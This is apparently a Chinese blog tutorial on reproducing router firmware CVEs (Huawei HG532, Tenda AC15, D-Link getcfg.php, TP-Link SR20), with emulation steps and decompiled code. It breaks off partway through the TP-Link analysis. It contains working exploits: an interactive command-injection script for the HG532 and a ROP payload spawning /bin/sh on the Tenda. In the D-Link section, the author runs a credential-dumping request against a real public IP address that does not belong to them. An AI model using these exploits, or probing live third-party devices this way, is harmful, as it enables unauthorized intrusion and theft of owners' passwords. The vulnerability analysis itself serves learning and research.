几次比赛遇到了不少固件分析的题目,但之前一直没有接触过,

先从复现一些简单的漏洞开始学起,尽量有个基础的认识

CVE-2017-17215

Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),华为HG532 是一款小型家用和办公用户打造的高速无线路由器。利用原理是利用upnp服务中的注入漏洞实现任意命令执行

仿真

使用的固件是HG532eV100R001C01B020_upgrade_packet.bin

获得固件的运行环境

1
2
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

按照别的大佬所说需要的是这两个版本,至于怎么找到的不知道

创建虚拟网桥,实现虚拟机内部和Ubuntu的连接

1
2
3
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

创建tap接口,名字为tap0,并添加到网桥

1
2
3
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

qemu启动脚本

1
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

在启动的虚拟机里面给网卡添加一个IP,使得qemu的虚拟机与外部宿主机互通。

1
ifconfig eth0 192.168.153.2/24 up

将之前解压出来的squashfs-root文件夹通过scp命令,复制到虚拟机中

1
scp -r squashfs-root/ root@192.168.153.2:~/

在虚拟机中挂载dev和proc

1
2
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

启动shell

1
chroot squashfs-root sh

这个终端备用,后面启动服务后,需要重置eth0和br0

通过ssh启动的终端,启动路由器

1
2
3
4
ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。
重新更改路由器的IP,以便于外部的Ubuntu登录管理界面

1
2
ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up

最终浏览器打开

漏洞复现

Huawei Home Gateway applies the Universal Plug and Play (UPnP) protocol. Via the TR-064 technical report standard, the protocol is widely used in embedded devices to connect seamlessly and simplify the implementation of networks in home and corporate environments.

TR-064 was designed and intended for local network configuration. For example, it allows an engineer to implement basic device configuration, firmware upgrades and more from within the internal network.

In this case though, the TR-064 implementation in the Huawei devices was exposed to WAN through port 37215 (UPnP).

From looking into the UPnP description of the device, it can be seen that it supports a service type named DeviceUpgrade. This service is supposedly carrying out a firmware upgrade action by sending a request to “/ctrlt/DeviceUpgrade_1” (referred to as controlURL ) and is carried out with two elements named NewStatusURL and NewDownloadURL.

The vulnerability allows remote administrators to execute arbitrary commands by injecting shell meta-characters “$()” in the NewStatusURL and NewDownloadURL as can be seen below.

根据这段内容我们可以知道,漏洞是出现在/bin/upnp服务中,当向37215端口访问/ctrlt/DeviceUpgrade_1路径时,NewStatusURL and NewDownloadURL这两个标签会产生远程命令执行漏洞

ida分析一下upnp程序

搜索字符串NewStatusURL找到对应位置并创建函数

这里会利用用户传递的字符串构造一个命令并让system调用

基于shell的特性,如果使用;或者$()便能够做到任意命令执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
headers = {"Authorization": Authorization}

print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")
cmd = input("command > ")

data = f'''
<?xml version="1.0" ?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>winmt</NewStatusURL>
<NewDownloadURL>;{cmd};</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''

r = requests.post('http://192.168.192.133:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data)
print("\nstatus_code: " + str(r.status_code))
print("\n" + r.text)

CVE-2018-5767

Tenda-Ac15可以说是一个各种漏洞cve满天飞的固件了,涉及到的漏洞也比较基础

CVE-2018-5767、CVE-2018-18708、CVE-2018-16333、CVE-2020-13392和CVE-2020-10987等,这漏洞是真多

更多可见https://www.opencve.io/cve?vendor=tenda&product=ac15_firmware

适合用来初步了解学习

漏洞分析

通过漏洞报告可以知道漏洞出在/bin/httpd

据CVE的描述以及公开POC的信息,得知溢出点在R7WebsSecurityHandler函数中。

1
2
3
4
5
if ( *(_DWORD *)(a1 + 184) )
{
v40 = strstr(*(const char **)(a1 + 184), "password=");
if ( v40 )
sscanf(v40, "%*[^=]=%[^;];*", v33);

这里解释以下scanf的格式化字符串%*[^=]=%[^;];*

在scanf的字符串中*用于指示需要忽略的内容,%用于匹配需要被保存到的变量中的内容

所以这句格式化字符串的意思就是匹配=之后;之前的所有内容到v33变量中

漏洞就出在其没有进行长度检测,可以发生栈溢出

那么如何让程序流程走到这一步?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if ( strncmp(s1, "/public/", 8u)
&& strncmp(s1, "/lang/", 6u)
&& !strstr(s1, "img/main-logo.png")
&& !strstr(s1, "reasy-ui-1.0.3.js")
&& strncmp(s1, "/favicon.ico", 0xCu)
&& *(_DWORD *)(a1 + 152)
&& strncmp(s1, "/kns-query", 0xAu)
&& strncmp(s1, "/wdinfo.php", 0xBu)
&& (strlen(s1) != 1 || *s1 != 47)
&& (strncmp(s1, "/goform/telnet", 0xEu) || g_Pass && strcmp(&g_Pass, "YWRtaW4="))
&& strncmp(s1, "/goform/fast_setting", 0x14u)
&& strncmp(s1, "/goform/ate", 0xBu)
&& strncmp(s1, "/goform/InsertWhite", 0x13u)
&& strncmp(s1, "/yun_safe.html", 0xEu)
&& strncmp(s1, "/goform/getWanConnectStatus", 0x1Bu)
&& strncmp(s1, "/goform/getProduct", 0x12u)
&& strncmp(s1, "/goform/getRebootStatus", 0x17u)
&& (i <= 2 || strncmp(s1, "/loginerr.html", 0xEu)) )

首先要保证这些条件都满足,然后要有password的header,一个例子

1
2
3
4
import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)

调试一下可以看到确实发生了栈溢出,但是栈溢出导致寄存器中写入了我们填充的字符串,但是并没有覆盖函数返回地址,是从r3取值,并跳转导致的错误。

跟踪发现触发错误的地方位于sub_2C568函数中,跳出这个函数才可以实现缓冲区溢出

查看漏洞点所在的函数,可以发现存在一个绕过这个子函数的地方,只要判断不为真。这段代码寻找“.”号的地址,并通过memcmp函数判断是否为“gif、png、js、css、jpg、jpeg”字符串。比如存在“.png”内容时,memcmp(v44, “png”, 3u)的返回值为0,if语句将失败。

1
2
3
4
5
6
7
8
if ( strlen(s) <= 3
|| (v42 = strchr(s, 46)) == 0
|| (v42 = (char *)v42 + 1, memcmp(v42, "gif", 3u))
&& memcmp(v42, "png", 3u)
&& memcmp(v42, "js", 2u)
&& memcmp(v42, "css", 3u)
&& memcmp(v42, "jpg", 3u)
&& memcmp(v42, "jpeg", 3u) )

所以新的poc为

1
2
3
4
import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"+ ".png"}
requests.get(url=url, cookies=cookie)

并且可以确定偏移量为448

之后就是栈溢出利用了,通过checksec检查http程序,发现开启了NX保护,所以无法直接在栈上执行shellcode,所以寻找gadgets来构造rop链。

因为没有aslr所以vmmap直接能够确定libc基址

1
0xff7e6000 0xff7ed000 ---p     7000   4000 /home/aichch/IOT/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/lib/ld-uClibc.so.0

其次,需要找到一个可以控制R0的gadget

1
2
3
4
5
#gadget2
sudo pip3 install ropgadget

ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3

可以看到,在控制R0之后,这条指令跳转到R3,因此,我们可以再找一条控制R3的gadget

1
2
3
#gadget1
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}

这样就组成了payload:padding + gadget1 + system_addr + gadget2 + cmd

padding将函数溢出后覆盖返回地址为gadget1,gadget1将system_addr弹出到R3,将gadget2的地址弹出到pc执行gadget2,gadget2将此时栈顶的cmd参数弹出到R0,接着跳转到R3执行system函数。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
from pwn import *

cmd="/bin/sh"
libc_base = 0xff7e6000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8


payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie":"password="+ payload}
requests.get(url=url, cookies=cookie)

复现

直接在用户态复现了

1
2
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd

运行后卡住了

1
2
3
4
5
6
7
8
9
10
11
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
/bin/sh: can't create /proc/sys/kernel/core_pattern: nonexistent directory
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

****** WeLoveLinux******

Welcome to ...

搜索字符串定位卡住的点,发现存在两个检查,第一个检查network,未通过则进入休眠阶段。第二个检查连接情况,未通过则打印连接失败

1
2
3
4
while ( check_network(v16) <= 0 )
sleep(1u);
v1 = sleep(1u);
if ( ConnectCfm(v1) )

将这两个点patch一下就能过了,netstat观察到服务已启动

1
tcp        0      0 255.255.255.255:81      0.0.0.0:*               LISTEN      1772011/./qemu-arm-

但是ip显然不对劲,分析一下ip是如何得到的

1
2
3
v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
v9 = ntohs(*(uint16_t *)s.sa_data);
printf("httpd listen ip = %s port = %d\n", v8, v9);

结合调试以及ida的xref可以知道

1
2
3
4
5
6
7
8
#qemu启动httpd程序目,并开启调试端口
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd

#另起终端,gdb-mul连接
gdb-multiarch
set architecture arm
b *0x1A36C
target remote :1234

是在sub_28338中进行的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall sub_28338(int a1, int a2)
{
char s[16]; // [sp+14h] [bp-28h] BYREF
int v7; // [sp+24h] [bp-18h]
const char *v8; // [sp+28h] [bp-14h]
int i; // [sp+2Ch] [bp-10h]

memset(s, 0, sizeof(s));
v8 = g_lan_ip;
v7 = a1;
for ( i = 0; i <= a2; ++i )
{
dword_D3D9C = sub_1A36C(v8, a1, (int)websAccept, 0);
if ( dword_D3D9C >= 0 )
break;
++a1;
}

重复上面的步骤,可以得到具体的调用链为:sub_2CEA8(main函数)-> sub_2D3F0(initWebs函数) -> sub_28030 -> sub_28338 -> sub_1A36C

接下来分析printf的ip参数v8进行跟踪:v8关联到s.sa_data[2],s.sa_data[2]关联到a1,a2

找到

1
v8 = g_lan_ip;

最终找到主函数

1
2
3
4
if ( getIfIp(LanIfName, v15) < 0 )
{
GetValue("lan.ip", s);
strcpy(g_lan_ip, s);

此处我们进行详细分析,根据函数名猜测getIfIp的作用的是获取ip地址,进入函数查看具体实现。

发现其是导入函数

1
2
3
4
5
// attributes: thunk
int __fastcall getIfIp(int a1, int a2)
{
return __imp_getIfIp(a1, a2);
}

根据字符串找到这么几个库

1
2
3
4
grep -r "getIfIp" ./lib
匹配到二进制文件 ./lib/libcommon.so
匹配到二进制文件 ./lib/libtpi.so
匹配到二进制文件 ./lib/libxx.so

最终确定漏洞在libcommon.so 中

其是这么一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall getIfIp(const char *a1, char *a2)
{
char *v3; // r0
char dest[20]; // [sp+Ch] [bp-28h] BYREF
struct in_addr v8; // [sp+20h] [bp-14h]
int fd; // [sp+2Ch] [bp-8h]

fd = socket(2, 2, 0);
if ( fd < 0 )
return -1;
strncpy(dest, a1, 0x10u);
if ( ioctl(fd, 0x8915u, dest) >= 0 )
{
v3 = inet_ntoa(v8);
strcpy(a2, v3);
close(fd);
return 0;
}
else
{
close(fd);
return -1;
}
}

可以看到一个系统调用ioctl(fd, 0x8915u, dest),查看这个系统调用所实现的功能

一般来讲ioctl在用户程序中的调用是:

ioctl(int fd,int command, (char*)argstruct)

ioctl调用与网络编程有关,文件描述符fd实际上是由socket()系统调用返回的。参数command的取值由/usr/include/linux/sockios.h 所规定。第三个参数是ifreq结构,在/usr/include/linux/if.h中定义。

最终发现sockios.h - include/uapi/linux/sockios.h - Linux source code (v5.4.262) - Bootlin

1
#define SIOCGIFADDR	0x8915		/* get PA address		*/

至于第三个参数,虽然暂时还不懂但是可以看出其是第一个参数a1

返回到

1
2
LanIfName = getLanIfName(v2, v3);
if ( getIfIp(LanIfName, v15) < 0 )

进入getLanIfName,这个函数也在libcommon.so中,发现其又是调用get_eth_name

1
2
3
4
int getLanIfName()
{
return get_eth_name(0);
}

相同的方法找到其位于libchipapi.so中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const char *__fastcall get_eth_name(int a1)
{
const char *v1; // r3

switch ( a1 )
{
case 0:
v1 = "br0";
break;
case 1:
v1 = "br1";
break;
case 6:
v1 = "eth0.1";
break;
case 10:
v1 = "eth0.2";
break;
case 11:
v1 = "eth0.3";

终于找到了,确定其就是指定网卡br0

所以我们创建一个网卡,不过根据名字其实应该是网桥,所以使用brctl,并指定一个ip

1
2
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24

再次启动程序,这次正确了

1
2
3
4
5
6
7
connect: Connection refused
Connect to server failed.
/bin/sh: can't create /etc/httpd.pid: nonexistent directory
/bin/sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 192.168.2.3 port = 81
webs: Listening for HTTP requests at address 192.168.2.3:81

尝试访问,发现错误

运行cp -rf ./webroot_ro/* ./webroot/,即可解决

至此,服务启动完全

CVE-2018-7034

/htdocs/web目录下有一个getcfg.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";

if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if($AUTHORIZED_GROUP < 0)
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
else
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
}
?></postxml>

可以看到第34行会加载进来一个文件,而该文件的路径在第32行,其中$GETCFG_SVC是通过POST请求传进来的$_POST["SERVICES"],因此,这个任意文件的加载是我们可控的。但是,前提是要满足$AUTHORIZED_GROUP >= 0

那么我们加载什么文件呢?这个文件的路径得在/htdocs/webinc/getcfg目录下,且后缀得是.xml.php,我们关注到了/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php这个文件:

1
2
3
4
5
6
7
8
9
10
11
12
foreach("/device/account/entry")
{
if ($InDeX > $cnt) break;
echo "\t\t\t<entry>\n";
echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";
echo "\t\t\t\t<name>". get("x","name"). "</name>\n";
echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n";
echo "\t\t\t\t<password>". get("x","password")."</password>\n";
echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";
echo "\t\t\t\t<description>".get("x","description")."</description>\n";
echo "\t\t\t</entry>\n";
}

其会打印出很多重要信息

但是,我们首先还是得先知道如何绕过全局变量$AUTHORIZED_GROUP >= 0的检查,我们传入的数据都是先通过登录验证文件htdocs/cgibin进行脚本语言解析后,再将解析好的URL结构发送给这里的php文件。

因此,我们需要逆向分析cgibin文件,由于这里的webserver运行的是php脚本,那么这个二进制文件中重点的就是处理php语言的部分,也就是phpcgi

二进制逆向

针对cgibin进行分析,cgibin做的主要工作便是处理传入的参数并作拼接

我们利用的就是拼接时并没有做有效的检查

AUTHORIZED_GROUP变量也可以由post请求传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  v11 = sub_405AC0;
LABEL_13:
v5 = cgibin_parse_request(v11, v6, 0x80000);
if ( v5 >= 0 )
{
v13 = sess_validate();
sprintf(v16, "AUTHORIZED_GROUP=%d", v13);
sobj_add_string(v6, v16);
sobj_add_char(v6, 10);
sobj_add_string(v6, "SESSION_UID=");
sess_get_uid(v6);
sobj_add_char(v6, 10);
string = sobj_get_string(v6);
v5 = xmldbc_ephp(0, 0, string, stdout);
}

并且服务器自带的AUTHORIZED_GROUP变量是拼接在之前的变量之后的

因此如若我们自行传递一个AUTHORIZED_GROUP=1那么

getcfg.php读取到的AUTHORIZED_GROUP变量就是我们自己传入的

那么就可以构造poc

复现

因为没找到这题的环境,所以没办法在本机上复现

不过好在我们能够借助一些网站帮助我们找到公网上使用这个路由器的ip

url -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://47.181.78.181:8080/getcfg.php"

TP-Link SR20 命令执行漏洞

TDDP协议(TP-LINK Device Debug Protocol) 是TP-LINK申请了专利的一种在UPD通信的基础上设计的协议,而Google安全专家Matthew GarrettTP-Link SR20设备上的TDDP协议文件中发现了一处可造成 “允许来自本地网络连接的任意命令执行” 的漏洞。

TDDP数据包格式

其中,TDDP报头中的Ver字段是版本号,分为V1V2两个版本,V1版本是不需要进行身份认证的;Type字段是报文类型,编号及类型的对照如下:

1
2
3
4:CMD_AUTO_TEST   6: CMD_CONFIG_MAC   7: CMD_CANCEL_TEST
8: CMD_REBOOT_FOR_TEST 0XA:CMD_GET_PROD_ID 0XC: CMD_SYS_INIT
0XD: CMD_CONFIG_PIN 0X30: CMD_FTEST_USB 0X31: CMD_FTEST_CONFIG

根据公开的漏洞信息,这个漏洞存在于V1版本下的0X31: CMD_FTEST_CONFIG类型处

漏洞分析

存在漏洞的文件位于/usr/bin/tddp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // r0
int v6; // [sp+Ch] [bp-8h]
int v7; // [sp+Ch] [bp-8h]

v6 = sub_16C90(argc, argv, envp);
if ( v6 )
return v6;
v4 = sub_936C();
v7 = sub_16D40(v4);
if ( v7 )
return v7;
else
return 0;
}

这是main函数

1
2
3
4
5
6
7
8
9
10
11
int sub_16C90()
{
int i; // [sp+4h] [bp-8h]

dword_21A34 = (int)calloc(1u, 4u);
if ( !dword_21A34 )
return sub_13018(-10201, "no memery");
for ( i = 0; i <= 0; ++i )
*(_DWORD *)(dword_21A34 + 4 * i) = 0;
return 0;
}

sub_16c90就是对内存做一下初始化工作

1
2
3
4
5
int sub_16D40()
{
free((void *)dword_21A34);
return 0;
}

sub_16D40就是释放之前分配的内存

因此核心显然是中间的sub_936C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int sub_936C()
{
_DWORD *v0; // r4
int optval; // [sp+Ch] [bp-B0h] BYREF
int v3; // [sp+10h] [bp-ACh] BYREF
struct timeval timeout; // [sp+14h] [bp-A8h] BYREF
fd_set readfds; // [sp+1Ch] [bp-A0h] BYREF
_DWORD *v6; // [sp+9Ch] [bp-20h] BYREF
int v7; // [sp+A0h] [bp-1Ch]
int nfds; // [sp+A4h] [bp-18h]
fd_set *p_readfds; // [sp+A8h] [bp-14h]
unsigned int i; // [sp+ACh] [bp-10h]

v6 = 0;
v3 = 1;
optval = 1;
printf("[%s():%d] tddp task start\n", "tddp_taskEntry", 151);
if ( !sub_16ACC(&v6)
&& !sub_16E5C(v6 + 9)
&& !setsockopt(v6[9], 1, 2, &optval, 4u)
&& !sub_16D68(v6[9], 1040)
&& !setsockopt(v6[9], 1, 6, &v3, 4u) )
{
v6[11] |= 2u;
v6[11] |= 4u;
v6[11] |= 8u;
v6[11] |= 0x10u;
v6[11] |= 0x20u;
v6[11] |= 0x1000u;
v6[11] |= 0x2000u;
v6[11] |= 0x4000u;
v6[11] |= 0x8000u;
v6[12] = 60;
v0 = v6;
v0[13] = sub_9340();
p_readfds = &readfds;
for ( i = 0; i <= 0x1F; ++i )
p_readfds->__fds_bits[i] = 0;
nfds = v6[9] + 1;
while ( 1 )
{
do
{
timeout.tv_sec = 600;
timeout.tv_usec = 0;
readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F);
v7 = select(nfds, &readfds, 0, 0, &timeout);
if ( sub_9340() - v6[13] > v6[12] )
v6[8] = 0;
}
while ( v7 == -1 );
if ( !v7 )
break;
if ( ((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0 )
sub_16418(v6);
}
}
sub_16E0C(v6[9]);
sub_16C18(v6);
return printf("[%s():%d] tddp task exit\n", "tddp_taskEntry", 219);
}

前面一大坨都是内存初始化以及socket创建之类的

主要关注一下sub_16D68

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall sub_16D68(int a1, uint16_t a2)
{
struct sockaddr s; // [sp+8h] [bp-14h] BYREF

memset(&s, 0, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = htonl(0);
*(_WORD *)s.sa_data = htons(a2);
if ( bind(a1, &s, 0x10u) == -1 )
return error(-10103, "failed to bind socket");
else
return 0;
}

这里的a2是传进来的参数1040htons函数是将整型变量从主机字节顺序转变成网络字节顺序

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

bind() 函数在网络编程中非常重要,它用于将一个套接字(socket)与特定的地址(IP 地址和端口号)绑定在一起,从而使得其他套接字可以通过该地址与之通信。

sub_9340函数是获取当前时间,不管

最后两个函数是结束的一些处理,也不管

那就剩下sub_16418

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
int __fastcall sub_16418(int *a1)
{
int v2; // r3
__int16 v3; // r2
int v4; // r3
__int16 v5; // r2
int v6; // r3
_BYTE *v7; // r3
int v8; // r3
size_t n; // [sp+10h] [bp-2Ch] BYREF
socklen_t addr_len; // [sp+14h] [bp-28h] BYREF
struct sockaddr addr; // [sp+18h] [bp-24h] BYREF
ssize_t v14; // [sp+28h] [bp-14h]
int v15; // [sp+2Ch] [bp-10h]
unsigned __int8 *v16; // [sp+30h] [bp-Ch]
int v17; // [sp+34h] [bp-8h]

v17 = 0;
addr_len = 16;
n = 0;
memset((char *)a1 + 45083, 0, 0xAFC9u);
memset((char *)a1 + 82, 0, 0xAFC9u);
v16 = (unsigned __int8 *)a1 + 45083;
v15 = (int)a1 + 82;
v14 = recvfrom(a1[9], (char *)a1 + 45083, 0xAFC8u, 0, &addr, &addr_len);
if ( v14 < 0 )
return error(-10106, "receive error");
sub_15458(a1);
a1[11] |= 1u;
v2 = *v16;
if ( v2 == 1 )
{
if ( sub_15AD8(a1, &addr) )
{
a1[13] = sub_9340();
v17 = sub_15E74(a1, &n);
}
else
{
v17 = -10301;
*(_BYTE *)v15 = 1;
*(_BYTE *)(v15 + 1) = v16[1];
*(_BYTE *)(v15 + 2) = 2;
*(_BYTE *)(v15 + 3) = 8;
*(_DWORD *)(v15 + 4) = htonl(0);
v5 = (v16[9] << 8) | v16[8];
v6 = v15;
*(_BYTE *)(v15 + 8) = v16[8];
*(_BYTE *)(v6 + 9) = HIBYTE(v5);
}
}
else if ( v2 == 2 )
{
if ( sub_15AD8(a1, &addr) )
{
a1[13] = sub_9340();
v17 = sub_15BB8(a1, &n);
}
else
{
v17 = -10301;
*(_BYTE *)v15 = 2;
*(_BYTE *)(v15 + 1) = v16[1];
*(_BYTE *)(v15 + 2) = 2;
*(_BYTE *)(v15 + 3) = 8;
*(_DWORD *)(v15 + 4) = htonl(0);
v3 = (v16[9] << 8) | v16[8];
v4 = v15;
*(_BYTE *)(v15 + 8) = v16[8];
*(_BYTE *)(v4 + 9) = HIBYTE(v3);
sub_15830(a1, &n);
}
}
else
{
*(_BYTE *)(v15 + 3) = 7;
v7 = (_BYTE *)v15;
*(_BYTE *)(v15 + 4) = 0;
v7[5] = 0;
v7[6] = 0;
v7[7] = 0;
n = ((*(unsigned __int8 *)(v15 + 7) << 24) | (*(unsigned __int8 *)(v15 + 6) << 16) | (*(unsigned __int8 *)(v15 + 5) << 8) | *(unsigned __int8 *)(v15 + 4))
+ 12;
}
if ( a1 )
v8 = a1[11] & 1;
else
v8 = 0;
if ( v8 && sendto(a1[9], (char *)a1 + 82, n, 0, &addr, 0x10u) == -1 )
return error(-10105, "tddp_parserHandler sendto error");
else
return v17;
}

发现了recvfrom()函数,该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen),用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间。

sub_15E74

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall sub_15E74(int a1, _DWORD *a2)
{
__int16 v2; // r2
__int16 v3; // r2
int v7; // [sp+Ch] [bp-18h]
_BYTE *v8; // [sp+10h] [bp-14h]
int v9; // [sp+1Ch] [bp-8h]

v8 = (_BYTE *)(a1 + 45083);
v7 = a1 + 82;
*(_BYTE *)(a1 + 82) = 1;
switch ( *(_BYTE *)(a1 + 45084) )
{
....
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
v9 = sub_A580(a1);
}

这是在检测type,漏洞点在的case 0x31处:

进入sub_A580

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int __fastcall sub_A580(int a1)
{
void *v1; // r0
__int16 v2; // r2
int v3; // r3
int v4; // r3
__int64 v5; // r0
char name[64]; // [sp+8h] [bp-E4h] BYREF
char v10[64]; // [sp+48h] [bp-A4h] BYREF
char s[64]; // [sp+88h] [bp-64h] BYREF
int v12; // [sp+C8h] [bp-24h]
_BYTE *v13; // [sp+CCh] [bp-20h]
int v14; // [sp+D0h] [bp-1Ch]
int v15; // [sp+D4h] [bp-18h]
char *v16; // [sp+D8h] [bp-14h]
int v17; // [sp+DCh] [bp-10h]
int v18; // [sp+E0h] [bp-Ch]
char *v19; // [sp+E4h] [bp-8h]

v18 = 1;
v17 = 4;
memset(s, 0, sizeof(s));
memset(v10, 0, sizeof(v10));
v1 = memset(name, 0, sizeof(name));
v16 = 0;
v15 = luaL_newstate(v1);
v19 = (char *)(a1 + 45083);
v14 = a1 + 82;
v13 = (_BYTE *)(a1 + 45083);
v12 = a1 + 82;
*(_BYTE *)(a1 + 83) = 49;
*(_DWORD *)(v12 + 4) = htonl(0);
*(_BYTE *)(v12 + 2) = 2;
v2 = ((unsigned __int8)v13[9] << 8) | (unsigned __int8)v13[8];
v3 = v12;
*(_BYTE *)(v12 + 8) = v13[8];
*(_BYTE *)(v3 + 9) = HIBYTE(v2);
if ( *v13 == 1 )
{
v19 += 12;
v14 += 12;
}
else
{
v19 += 28;
v14 += 28;
}
